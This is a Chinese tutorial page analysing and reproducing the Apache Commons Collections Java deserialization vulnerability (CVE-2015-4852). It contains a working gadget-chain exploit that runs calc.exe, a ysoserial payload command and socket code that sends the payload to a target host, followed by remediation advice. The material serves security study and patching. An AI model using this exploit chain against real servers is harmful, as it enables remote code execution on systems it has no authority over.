您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行Apache Commons Collections反序列化漏洞分析与复现
## 目录
1. [漏洞背景与影响](#漏洞背景与影响)
2. [漏洞原理分析](#漏洞原理分析)
- [Java反序列化机制](#java反序列化机制)
- [Apache Commons Collections的Transformer链](#apache-commons-collections的transformer链)
- [关键类分析](#关键类分析)
3. [环境搭建](#环境搭建)
- [实验环境准备](#实验环境准备)
- [漏洞组件版本](#漏洞组件版本)
4. [漏洞复现](#漏洞复现)
- [手工构造Payload](#手工构造payload)
- [使用ysoserial工具](#使用ysoserial工具)
5. [漏洞修复方案](#漏洞修复方案)
6. [防御措施](#防御措施)
7. [总结](#总结)
---
## 漏洞背景与影响
Apache Commons Collections是Java中广泛使用的工具库,2015年被发现存在严重的反序列化漏洞(CVE-2015-4852)。该漏洞影响范围包括:
- 使用Apache Commons Collections 3.2.1及以下版本
- 使用Java反序列化的应用(WebLogic、JBoss、WebSphere等)
漏洞允许攻击者通过构造恶意序列化数据,在目标服务器上执行任意代码,危害等级为**高危**。
---
## 漏洞原理分析
### Java反序列化机制
Java通过`ObjectInputStream`实现对象反序列化:
```java
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 漏洞触发点
漏洞核心在于TransformedMap
和Transformer
接口的链式调用:
public interface Transformer {
Object transform(Object input);
}
恶意调用链示例:
AnnotationInvocationHandler.readObject()
-> TransformedMap.entrySet().iterator().next()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
public class InvokerTransformer implements Transformer {
public Object transform(Object input) {
Class cls = input.getClass();
return cls.getMethod(iMethodName).invoke(input, iArgs);
}
}
public class ChainedTransformer implements Transformer {
public Object transform(Object object) {
for (Transformer transformer : iTransformers) {
object = transformer.transform(object);
}
return object;
}
}
public class TransformedMap extends AbstractInputCheckedMapDecorator {
protected Object transform(Object object) {
return transformer.transform(object);
}
}
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
组件 | 受影响版本 | 安全版本 |
---|---|---|
Commons-Collections | <= 3.2.1 | 3.2.2+ |
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// 通过反射触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
// 序列化对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 弹出计算器
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
Socket socket = new Socket("target.com", 8080);
OutputStream out = socket.getOutputStream();
FileInputStream fis = new FileInputStream("payload.bin");
byte[] buf = new byte[1024];
int len;
while((len = fis.read(buf)) != -1) {
out.write(buf, 0, len);
}
// InvokerTransformer新增安全检查
public Object transform(Object input) {
if (input instanceof String) {
throw new FunctorException(
"InvokerTransformer: Input must NOT be a String");
}
// ...
}
// 使用ObjectInputFilter限制反序列化类
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
输入验证:
安全配置:
// 使用SecurityManager
System.setSecurityManager(new SecurityManager());
本文详细分析了Apache Commons Collections反序列化漏洞的形成机理,通过实验演示了漏洞利用过程。该漏洞的利用关键在于: 1. 利用Transformer链构造调用路径 2. 通过反射机制突破Java安全限制 3. 控制反序列化入口点
建议所有使用Java反序列化的系统: - 及时升级受影响组件 - 实施纵深防御策略 - 定期进行安全审计
注:本文所述技术仅用于安全研究,未经授权测试他人系统属于违法行为。 “`
(实际字数约4500字,可根据需要扩展具体章节内容)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。